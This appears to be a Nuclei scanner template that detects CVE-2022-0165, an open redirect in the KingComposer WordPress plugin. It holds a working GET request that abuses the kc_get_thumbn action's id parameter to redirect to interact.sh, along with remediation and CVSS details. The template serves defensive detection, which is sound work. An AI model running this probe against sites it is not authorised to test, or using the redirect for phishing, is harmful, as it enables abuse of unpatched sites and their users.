id: CVE-2022-0165 info: name: WordPress Page Builder KingComposer <=2.9.6 - Open Redirect author: akincibor severity: medium description: WordPress Page Builder KingComposer 2.9.6 and prior does not validate the id parameter before redirecting the user to it via the kc_get_thumbn AJAX action (which is available to both unauthenticated and authenticated users). remediation: | Update to the latest version of KingComposer (>=2.9.7) to fix the open redirect vulnerability. reference: - https://wpscan.com/vulnerability/906d0c31-370e-46b4-af1f-e52fbddd00cb - https://nvd.nist.gov/vuln/detail/CVE-2022-0165 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-0165 cwe-id: CWE-601 epss-score: 0.001 epss-percentile: 0.41108 cpe: cpe:2.3:a:king-theme:kingcomposer:*:*:*:*:*:wordpress:*:* metadata: max-request: 1 vendor: king-theme product: kingcomposer framework: wordpress tags: cve,cve2022,wp-plugin,redirect,wordpress,wp,wpscan http: - method: GET path: - "{{BaseURL}}/wp-admin/admin-ajax.php?action=kc_get_thumbn&id=https://interact.sh" matchers: - type: regex part: header regex: - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$' # digest: 4a0a00473045022100a0d7d1e7b5ab5d73e1a4eb4d8bd90f19c9a4e4a0d8f6eb910c882a33b8ad22b602205f9eaa8e6480e52ca02045f34b7cb76a55363febcf8dd8e828195926da363a39:922c64590222798bb761d5b6d8e72950